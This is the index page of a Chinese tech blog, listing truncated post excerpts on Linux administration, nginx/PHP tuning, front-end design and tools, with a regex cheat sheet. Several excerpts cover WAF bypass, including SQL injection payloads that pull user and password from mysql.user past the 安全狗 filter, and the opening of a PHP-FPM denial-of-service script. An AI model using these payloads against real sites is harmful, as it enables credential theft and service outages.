智者一切求自己,愚者一切求他人 [登录·注册]

吕滔博客

首页 开发 运维 工具 摄影
  • 04913

    CentOS下使用iftop按IP查看网卡带宽使用情况

    memory 1、安装编译组件yum install -y gcc flex byacc libpcap ncurses ncurses-devel libpcap-devel tcpdump2、下载源码并编译安装 cd /usr/local/src wget http://www.ex-parrot.com/pdw/iftop/download/iftop-0.17.tar.gz tar xvf iftop-0.17.tar.gz cd iftop-0.17 ./configure --prefi...

    环境配置 CentOS 发布于 2014-05-23
  • 414317

    WES7安装教程:使用Windows Embedded Standard 7代替windows 7

    memory现在超级本使用非常普遍,基本都是配置了SSD固态磁盘,厂家一般都预装了Windows 7系统。近期笔者入手一款超级本,自带24G SSD, windows 7 64位系统。但在使用中遇到这几个问题:1. 自带的windows 7占用磁盘空间超过了11GB, 随着使用系统盘空间会被耗尽占满,导致系统响应越来越慢2. 自带的windows 7的性能实在太差了,刚全新安装的系统,使用中就感觉太卡了...

    运维 Windows 发布于 2014-05-22
  • 212241

    以双斜杠//开头的URL – 依赖协议的URL

    memory不知道大家有没有见过下面这种 url 写法:<img src="//lvtao.net/img/logo.png">img 中的url是以双斜杠“//”开头的,这种写法有特殊的用途,它会判断当前的页面协议是http 还是 https 来决定请求 url 的协议。防止IE下出现“This Page Contains Both Secure and Non-Secure Items”的报错。 但是当你浏览本地文件的时候,它会解析为 file:// 协议。这种特性可以用来加载CDN:...

    前端设计 发布于 2014-05-20
  • 05245

    谷歌总结移动网站开发25个建议:如何构建优秀的移动网站?

    memory谷歌公司的研究人员聆听了119个小时用户对移动网站的抱怨,了解到构建移动网站的精髓。最近,来自谷歌公司和AnswerLab的研究人员主持了一场长达119小时的用户测试会议,他们每天都会让用户访问100个不同的移动网站,这些网站涉及 的行业范围非常广泛,比如零售行业,保险行业,或是新闻行业。参与测试的用户会把自己的使用感觉实时告诉研究人员。最后,谷歌公司的研究人员总结出了25 个要点,内容如下:1、“行为召唤”内容要靠前或居中 对 于移动用户来说,往往很容易忘记菜单选项,因此,你应该把自己...

    前端设计 发布于 2014-05-12
  • 15333

    ngrok捕获和分析所有通道上的流量

    memoryngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。ngrok 可捕获和分析所有通道上的流量,便于后期分析和重放。网络架构如下图所示:第一步:下载ngrok,网址:https://ngrok.com/ ,点击download(图1),然后选择自己所需的版本(我的是windows,图2)  图1 图2  第二步:进入https://ngrok.com/user/signup,填写信息进行注册(图3),登录后会看到有一个授权...

    运维 Nginx 发布于 2014-05-11
  • 04591

    nginx+php-fpm性能参数优化原则

    memory1.worker_processes 越大越好(一定数量后性能增加不明显)2.worker_cpu_affinity 所有cpu平分worker_processes 要比每个worker_processes 都跨cpu分配性能要好;不考虑php的执行,测试结果worker_processes数量是cpu核数的2倍性能最优3.unix domain socket(共享内存的方式)要比tcp网络端口配置性能要好不考虑backlog,请求速度有量级的飞跃,但错误率超过50%加上backlog,性...

    环境配置 PHP, Nginx 发布于 2014-05-09
  • 09927

    如何从视觉上做好扁平化设计

    memory去年,iOS 7的发布让更多的用户欣赏到了扁平化设计之美,更在业内掀起了一股扁平化设计潮流。扁平风格的一个优势在于它可以更加简单直接的将信息和事物的工作方式展示出来,减少认知障碍的产生。其简约、条理清晰以及更好地适应性让更多地人所接受和喜爱。那么,如何从视觉上把握好扁平化设计,不妨一起来看看腾讯CDC团队joy分享的一篇文章。 扁平化设计无疑是当前讨论最多,最火的设计形式,自ios7面世以来更是将扁平化设计的讨论推向风口浪尖。在这里我不想分析拟物设计和扁平化设计的优劣,更不想说谁更好!...

    前端设计 发布于 2014-05-08
  • 06356

    Linux/CentOS下恢复rm删除的文件

    memory今天误删除了Centos服务器上的某个文件夹,找了下恢复,ext3grep,extundelete等,因为文件系统是ext4的,只能使用extundelete1. 安装依赖yum -y install e2fsprogs e2fsprogs-devel2. 去http://extundelete.sourceforge.net/下载extundelete-0.2.4.tar.bz2并安装tar -xjf extundelete-0.2.4.tar.bz2 cd ext...

    环境配置 CentOS, Linux 发布于 2014-05-08
  • 010988

    开源、简单、安全的PHP开发框架

    memory 1. 程序文件组织| install/ /* 数据库文件、服务器Rewrite规则 */ | oldcms.sql /* 数据库文件 */ | rewrite.txt /* Rewrite规则(Apache,Nginx) */ | libs/ /* Smarty程序目录 */ | source/ ...

    开发 PHP 发布于 2014-05-08
  • 06484

    轻松绕各种WAF的POST注入、跨站防御(比如安全狗)

    memoryXXX之前有提过multipart请求绕过各种WAF方式:360网站宝/安全宝/加速乐及其他类似产品防护绕过缺陷之一,貌似没引起多少人关注。今天发现安全狗变聪明了以前那套他不吃了,不过随手给狗提交了一个二进制的文件域就XXOO了。注意一定要是二进制文件,图片、压缩包什么的都行。构建如下HTML表单:<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="te...

    工具 安全 发布于 2014-05-08
  • 06482

    服务器安全狗POST SQL注入.

    memory不知为何不拦POST的/!XXX/id=1 and 1=2 union select 1,user,password from mysql.user limit 0,1id=1200000 &nbsp;/*!union*//*!select*/(1),user,password from mysql.user limit 0,1<?php $conn = mysql_connect("localhost","root",&quo...

    工具 安全 发布于 2014-05-08
  • 021191

    Apache/nginx使用PHP-FPM或PHP-CGI拒绝服务漏洞攻击

    memory使用标准cable/DSL连接,这种攻击可以使用标准的HTTP请求占满一台Linux web服务器的CPU和内存。这种攻击影响使用PHP-CGI或PHP-FPM(包含WordPress站点在内)解析PHP动态内容的Apache或者NGINX web服务器。另外,这种攻击制造的请求将会在攻击后的较长时间内继续占用服务器资源。本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!<?php #!/usr/bin/php /* F...

    SHELL PHP, Nginx 发布于 2014-05-08
  • 010517

    修改火狐浏览器FireFox打开新建标签页(即NewTab Page)的缩略图相关参数

    memory  FireFox的打开新建标签页(即NewTab Page)默认只能显示3x3个网站缩略图,这9个自定义的网站,非常方便快捷,什么hao123的弱爆了,本人从未用过此类导航网站,曾经用过的也只是about:blank或者Google作为首页。  你只需在FireFox的地址栏输入"about:config",就出看到一个警告提示,点击确定,配置选项挺多,  我们在搜索中输入“newtabpage”我们可以看到如下图所示,这就是我们要修改的东西。browser.newtabpage.col...

    工具 发布于 2014-05-06
  • 08612

    原理:PHP合并多个JS和CSS文件,减少HTTP请求

    memoryHTML:<link rel="stylesheet" type="text/CSS" href="cssmin.PHP?get=base,style1,style2,global&path=css/&v=20131023" /> <script type="text/javascript" src="jsmin.php?get=jquery-1.6.4.min.js,minjquery.js,minjquery.ui.js,test.js,global...

    开发 PHP 发布于 2014-05-06
  • 443773

    利用Data URL(data:image/jpg;base64,)将小图片生成数据流形式

    memory先看一段代码:<img src="data:image/jpg;base64,iVBORw0KGGoAAAANSUhEUgAAAKAAAAAwCAMAAAChd4FcAAAAA3NCSVQICAjb4U/gAAACRlBMVEUAAADi6OSMjIxSUlIrXja5trg8rFEDRhErokJ8w4pJrVxmZmYERRIinTn++P07nk/X0Naww7Stra0pdTj37/dlunUXWiS53L+ZmZmOy5pahGJKdVIQEBAsXzdni24VmC7Mz...

    开发 PHP 发布于 2014-05-06
  • 12

    网站状态

    • 栏目分类:49个
    • 发布文章:1324篇
    • 用户评论:697条
    • 开博至今:3998天

    正则速查

    [abc] 匹配中括号中的单个字符,如a或b或c
    [^abc] 匹配除了a、b、c等字符的其他单个字符
    [a-z] 匹配一个字符范围,如a到z
    [a-zA-Z] 匹配一个字符范围,如a-z 或 A-Z
    ^ 匹配行的开始
    $ 匹配行的结束
    \A 匹配一个字符串的开始
    \z 匹配一个字符串的结束
    . 匹配任意单个字符
    \s 匹配空白字符,如空格,TAB
    \S 匹配非空白字符
    \d 匹配一个数字
    \D 匹配非数字
    \w 匹配一个字母
    \W 匹配非字母
    \b 匹配字符边界
    (...) 引用所有括号中的内容
    (a|b) a或者b
    a? 零个或1个a
    a* 零个或多个a
    a+ 1个或多个a
    a{3} 3次重复的a
    a{3,} 3次或3次以上重复的a
    a{3,6} 3到6次重复的a

    修正符

    /g 查找所有可能的匹配
    /i 不区分大小写
    /m 多行匹配
    /s 单行匹配
    /x 忽略空白模式
    /e 可执行模式,PHP专有
    /A 强制从目标字符串开头匹配
    /D 使用$限制结尾字符,则不允许结尾有换行
    /U 只匹配最近的一个字符串;不重复匹配

    最新回复

    • tomxuetao: 能个实例吗?
    • memory: 哈哈哈。。。话说也没毛病。
    • 硫酸亚铁: 看了文章觉得自己已经是松鼠癌了 东西总是先占着 反正我有 什么...
    • xl: 支持一下
    • iHerb海淘攻略: 感谢分享
    • memory: POINT
    • sunyunlin: 数据库应该建些什么字段?
    • pengcheng: 已解决
    • pengcheng: Oops! It seems that sphinx was b...
    • 券都有: 感谢分享
    • memory: 这是我3年前玩过一次,当时因为安装完后,发现日常办公还好,但是好...
    • sdf: 想问一下,激活工具激活后,后面会出现提示要再次重新激活吗?
    • memory: 你要用碗装我吗?还是要我把扔的扔进你碗里???!!! &^_^&
    • 薛才杰: 同感,快扔到我的碗里来。。。
    • memory: 要说明一下,在大陆及香港的云主机或VPS,都是不支持的。原因都懂...
    • 历史趣谈LishiQtan: 很好的文章,值得收藏
    • memory: 现在回头看,,,这么烂的代码,也是醉了.